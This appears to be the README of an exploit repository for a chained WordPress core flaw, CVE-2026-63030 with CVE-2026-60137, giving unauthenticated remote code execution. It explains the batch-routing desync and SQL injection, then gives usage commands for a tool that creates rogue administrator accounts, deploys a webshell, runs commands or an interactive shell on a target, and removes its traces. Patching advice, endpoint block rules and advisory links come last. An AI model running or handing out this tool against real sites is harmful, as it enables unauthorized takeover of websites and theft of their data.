TL;DR — An unauthenticated attacker can chain a WordPress REST API batch-routing bug with a SQL injection in
WP_Queryto reach full remote code execution on a stock WordPress install — no plugins, no account, no user interaction. Discovered by Adam Kues (Assetnote / Searchlight Cyber), who named it wp2shell. Patched July 17, 2026 in 6.9.5, 7.0.2, and 6.8.6.
CVE-2026-63030 is WordPress Core's REST API batch endpoint (/wp-json/batch/v1) mishandling failed sub-requests badly enough that a later sub-request gets dispatched under the wrong route. On its own, that's a logic bug. Chained with CVE-2026-60137 — a SQL injection in WP_Query's author__not_in parameter — it becomes unauthenticated remote code execution.
WordPress rates CVE-2026-63030 Critical and CVE-2026-60137 High; third-party CVSS estimates vary by tracker (roughly 7.5 and 9.1 respectively), since neither individual score fully captures what the chain does. Treat this as critical regardless of which single number you're shown — WordPress considered it serious enough to force automatic updates onto every affected site.
Root cause — batch bookkeeping desync. When a sub-request in a batch fails validation, the resulting WP_Error is recorded in an internal $validation[] array — but the parallel $matches[] array used for routing isn't updated to match. That one-item gap shifts every later sub-request by one position: sub-request N ends up dispatched using the route handler meant for sub-request N+1.
Sanitization bypass. Running under a handler it was never routed to, the sub-request skips that handler's own input validation — including type and is_array() checks.
SQL injection. That gap lets attacker-controlled input reach WP_Query's author__not_in parameter as a raw string instead of an array. The is_array() guard that would normally reject it never runs, so the value is interpolated directly into a NOT IN (...) clause.
Path to compromise. The injection is SELECT-only — no stacked queries — but on hosts where the database user has FILE privilege, that's enough to write a PHP webshell into the web root. Where it isn't available, the same injection point can instead blind/UNION-dump the wp_users table for admin password hashes. Either way: no account, no plugin, no user interaction required.
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
end
- Clone the repository
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt- Test Vulnerability - Check if target is vulnerable without exploiting:
python3 CVE-2026-63030.py -t https://target.com --test- Create Admin Account - Create a new WordPress administrator via SQL injection:
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword- Execute Shell Commands - Deploy webshell and execute commands:
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"- Cleanup: Remove created resources (admin user and webshell):
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"- Additional Options
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60| WordPress version | SQLi (CVE-2026-60137) |
Route confusion (CVE-2026-63030) |
Real-world risk |
|---|---|---|---|
| < 6.8.0 | — | — | Not affected |
| 6.8.0 – 6.8.5 | ✅ | — | SQLi only — needs a plugin/theme to pass untrusted input into author__not_in; not reachable pre-auth on core alone. Patch anyway. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | Unauthenticated RCE |
| 7.0.0 – 7.0.1 | ✅ | ✅ | Unauthenticated RCE |
| 7.1 Beta 1 | ✅ | ✅ | Unauthenticated RCE (beta channel) |
- The RCE chain needs both bugs, which only overlap on 6.9.x and 7.0.x — that's why 6.8 ships a patch but was never credited with the full chain.
- Per Cloudflare's analysis, the RCE path additionally requires the site is not using a persistent object cache — a common default, but worth checking when triaging real exposure rather than just patch status.
- GitHub Security Advisories:
GHSA-ff9f-jf42-662q(route confusion) ·GHSA-fpp7-x2x2-2mjf(SQLi)
- Route confusion / RCE chain (
CVE-2026-63030) — reported by Adam Kues of Assetnote / Searchlight Cyber via WordPress's HackerOne program. - SQL injection (
CVE-2026-60137) — reported separately, as a team, by TF1T, dtro, and haongo. - July 17, 2026 — WordPress shipped emergency releases 6.9.5 and 7.0.2, backported a fix to 6.8.6, and included both fixes in 7.1 Beta 2. Cloudflare deployed managed WAF rules for both CVEs the same day, ahead of public disclosure.
- Since disclosure — technical write-ups and at least one public proof-of-concept (detection-only, per its own documentation) have circulated. Confirmed in-the-wild exploitation hadn't been reported as of a few days post-disclosure — check current threat intel rather than treating that as settled.
- Patch immediately to
6.9.5,7.0.2,6.8.6, or later — the only complete fix. WordPress enabled forced automatic updates for affected sites; confirm yours actually applied rather than assuming. - Can't patch right now? Block unauthenticated access to the batch endpoint at the WAF/edge level: block both
/wp-json/batch/v1and?rest_route=/batch/v1. Emergency measure only — this can break legitimate batch API use (e.g. block-based editing) and isn't a substitute for patching. - Enable managed WAF rules if your provider shipped them. Cloudflare deployed rules for both CVEs across free and paid plans the same day as disclosure.
- After patching, review access logs for batch requests with malformed or unusual sub-request paths around the disclosure window (July 17, 2026 onward).
- WordPress 7.0.2 release announcement — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
- GHSA-ff9f-jf42-662q (CVE-2026-63030) — https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
- GHSA-fpp7-x2x2-2mjf (CVE-2026-60137) — https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
- Searchlight Cyber wp2shell advisory — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
- Cloudflare WAF coverage — https://blog.cloudflare.com/wordpress-vulnerabilities/